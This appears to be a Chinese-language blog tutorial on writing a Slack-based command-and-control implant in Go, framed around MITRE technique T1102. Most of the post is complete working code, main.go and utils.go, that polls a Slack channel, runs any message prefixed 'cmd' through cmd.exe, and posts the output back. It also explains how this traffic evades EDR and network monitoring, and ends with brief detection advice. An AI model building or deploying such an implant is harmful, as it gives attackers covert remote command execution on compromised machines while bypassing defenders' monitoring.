slack C2 golang编写(T1102)

enter description here

1.slack简介

Slack 是聊天群组 + 大规模工具集成 + 文件整合 + 统一搜索。截至2014年底,Slack 已经整合了电子邮件、短信、Google Drives、Twitter、Trello、Asana、GitHub 等 65 种工具和服务,可以把各种碎片化的企业沟通和协作集中到一起 。

2.slackC2

​ 因前阵子正好在找资料的时候发现一篇文章“ SLUB最新变种分析:仅靠 Slack进行C2通信” ,感觉还是比较有意思的,所以抽空打算做下实验对其记录下。

​ 思路其实大同小异,也是差不多可以借鉴参考开源的代码。https://github.com/bkup/SlackShell

​ 一旦公开了此功能,它便受到了许多恶意软件创建者的欢迎,因为它提供了利用现有平台的好处。攻击者无需闯入Slack,他们只需使用其功能来控制植入到公司网络中的恶意软件即可。更重要的是,这种Slack作为通信渠道的合法使用将使黑客避免使用传统的安全机制(例如EDR和数据包捕获NTA)进行检测。Slack API URL结构也将被证明是对安全机制的检测挑战。所有Slack API URL的格式都与https://slack.com/api/[METHOD ] 相同 ,这意味着未加密的DNS查询仅显示slack.com的分辨率,这使得将Slack API的使用与正常的网络浏览区分开来非常困难。

11

​ 恶意软件创建者可能会使用Slack作为主要或辅助C2渠道,并使用其他平台(如Github)进行备份。由于这些应用程序是合法的,并且经常用于移动文件,因此防病毒或终结点解决方案几乎不会检测到恶意代码的渗透或敏感数据的泄漏的风险。尽管使用通用应用程序的概念并不是什么新鲜事(通过将Twitter用作C2渠道,尤其是Twitter bot构建器,已经进行了较早的尝试 ),但Slack的普遍采用将这种操作方法提升到了一个全新的水平。

​ 这个新发现的沟通渠道是黑客与防御者之间战斗的又一步。它着重说明了需要利用基于机器的群集分析的安全工具,以提供更多有关行为的信息,以揭示整个攻击范围。

1

3.客户端poc功能思路编写

1.服务端指定频道发送命令,由客户端接收

2.客户端接收服务端接收指令,执行命令

3.客户端执行结果,返回传送给服务端。

4.指定服务端命令标识,让客户端判定是否为命令

条件(指定频道、slack token和slack api)

Slack API 整理(发送信息,频道信息接收)

2

4.API测试

以下为slack 官方API 测试地址

https://api.slack.com/methods/chat.postMessage

https://api.slack.com/methods/conversations.history

4

3

另外我们需要几个参数 一个为token,另一个为channel

那么channel可以在 https://app.slack.com/client/TMFHAPNTS/xxxxx,登录后找的ID

而token 可在 https://api.slack.com/legacy/custom-integrations/legacy-tokens 中获取

发送频道信息

5

6

查询频道信息

7

5.golang功能编写

5.1 打印频道信息

首先定义API、tokon、频道信息

1
2
3
4
5
6
const (
History_api = "https://slack.com/api/conversations.history"
PostMessage = "https://slack.com/api/chat.postMessage"
Token = "xoxp-729588xxxxxxx"
Channel = "xxxxxx"
)

然后再定义中文编码的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package utils

import (
"golang.org/x/text/encoding/simplifiedchinese"
)

type Charset string

const (
UTF8 = Charset("UTF-8")
GB18030 = Charset("GB18030")
)


func ConvertByte2String(byte []byte, charset Charset) string {

var str string
switch charset {
case GB18030:
var decodeBytes, _ = simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
str = string(decodeBytes)
case UTF8:
fallthrough
default:
str = string(byte)
}

return str
}

下面开始定义main函数的内容

指定频道和token 查看频道的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
req, err := http.NewRequest("GET", utils.History_api, nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
// GET URL 获取频道的字符串内容
q := req.URL.Query()
q.Add("token", utils.Token)
q.Add("channel", utils.Channel)
q.Add("pretty", "1")
req.URL.RawQuery = q.Encode()
var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
// fmt.Println(url)
//defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
// handle error
}
json := string(body)
//将GET URL 中的json值赋值给json变量

text := gjson.Get(json, "messages.0.text")
fmt.Print(text)

8

5.2 发送信息给频道

使用post 传参发送hello,i am xxxx指定频道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
req, err := http.NewRequest("POST", utils.PostMessage, nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
p := req.URL.Query()
p.Add("token", utils.Token)
p.Add("channel", utils.Channel)
p.Add("pretty", "1")
p.Add("text", "hello,i am xxxx")
req.URL.RawQuery = p.Encode()
var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
}
postMessage := string(body)
OUTPUT := gjson.Get(postMessage, "message.0")
log.Println(OUTPUT)
//fmt.Println()用于将输出的结果返回到slack频道中
resp.Body.Close()

9

5.3指定命令标识

指定服务端命令标识,让客户端判定是否为命令

思路为,获取频道信息的字符串,如果发送过来的标识为”cmd xxxxx“,则为执行命令,如果不是,则跳过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
text := gjson.Get(json, "messages.0.text")
// fmt.Print(text)
cmd := strings.Split(text.String(), " ")
m := map[interface{}]struct{}{ //定义列表命令
"cmd": {},
}
cmdlist := cmd[0] //slack频道输出的字符串第一个元素如果是列表中的就执行以下内容
// fmt.Println(cmd[1])
if _, run := m[cmdlist]; run {
if cmdlist == "cmd" {
//判断接受过来的字符第一个元素是否为cmd字符串,【用于执行命令】
// if runtime.GOOS == "windows" {
command := exec.Command("cmd.exe", "/c", cmd[1])
// } else {
// command := exec.Command(cmd[1])
// }

//取值为第二元素为服务端接受的命令,并执行命令
stdoutStderr, err := command.CombinedOutput()
if err != nil {
log.Fatal(err)
}

完整效果

10

6.完整代码

utils.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package utils

import (
"golang.org/x/text/encoding/simplifiedchinese"
)

type Charset string

const (
UTF8 = Charset("UTF-8")
GB18030 = Charset("GB18030")
History_api = "https://slack.com/api/conversations.history"
PostMessage = "https://slack.com/api/chat.postMessage"
Token = "xoxp-729588xxxxxxx"
Channel = "xxxxxx"
)

func ConvertByte2String(byte []byte, charset Charset) string {

var str string
switch charset {
case GB18030:
var decodeBytes, _ = simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
str = string(decodeBytes)
case UTF8:
fallthrough
default:
str = string(byte)
}

return str
}

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package main

import (
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
utils "slackc2/core"
"strings"

"github.com/tidwall/gjson"
)

func main() {

for true {
req, err := http.NewRequest("GET", utils.History_api, nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
// GET URL 获取频道的字符串内容
q := req.URL.Query()
q.Add("token", utils.Token)
q.Add("channel", utils.Channel)
q.Add("pretty", "1")
req.URL.RawQuery = q.Encode()
var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
// fmt.Println(url)
//defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
// handle error
}
json := string(body)
//将GET URL 中的json值赋值给json变量

text := gjson.Get(json, "messages.0.text")
// fmt.Print(text)
cmd := strings.Split(text.String(), " ")
m := map[interface{}]struct{}{ //定义列表命令
"cmd": {},
}
cmdlist := cmd[0] //slack频道输出的字符串第一个元素如果是列表中的就执行以下内容
// fmt.Println(cmd[1])
if _, run := m[cmdlist]; run {
if cmdlist == "cmd" {
//判断接受过来的字符第一个元素是否为cmd字符串,【用于执行命令】
// if runtime.GOOS == "windows" {
command := exec.Command("cmd.exe", "/c", cmd[1])
// } else {
// command := exec.Command(cmd[1])
// }

//取值为第二元素为服务端接受的命令,并执行命令
stdoutStderr, err := command.CombinedOutput()
if err != nil {
log.Fatal(err)
}
output := utils.ConvertByte2String(stdoutStderr, utils.GB18030)
str := "output-" + output
//以发送cmd输出的信息输出到output,并发送到频道
// postMessage URL用于将输出的结果发送到slack频道中
req, err := http.NewRequest("POST", utils.PostMessage, nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
p := req.URL.Query()
p.Add("token", utils.Token)
p.Add("channel", utils.Channel)
p.Add("pretty", "1")
p.Add("text", str)
req.URL.RawQuery = p.Encode()
var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
}
postMessage := string(body)
OUTPUT := gjson.Get(postMessage, "message.0")
log.Println(OUTPUT)
//fmt.Println()用于将输出的结果返回到slack频道中
resp.Body.Close()
}
}
}
}

视频演示:

7.总结

​ 可以使用网络连接来关联未知或可疑过程活动的主机数据对于补充基于恶意软件命令和控制签名,基础结构或强加密的存在的任何现有危害指标至关重要。如果数据已加密,则数据包捕获分析将需要SSL/TLS检查。分析网络数据中不常见的数据流(例如,客户端发送的数据比从服务器接收的数据多得多)。行为监视可能有助于检测异常活动模式 。

参考链接:

https://github.com/bkup/SlackShell

https://blog.csdn.net/systemino/article/details/97636359

https://api.slack.com/methods/chat.postMessage

https://api.slack.com/methods/conversations.history

https://www.praetorian.com/blog/using-slack-as-c2-channel-mitre-attack-web-service-t1102?edition=2019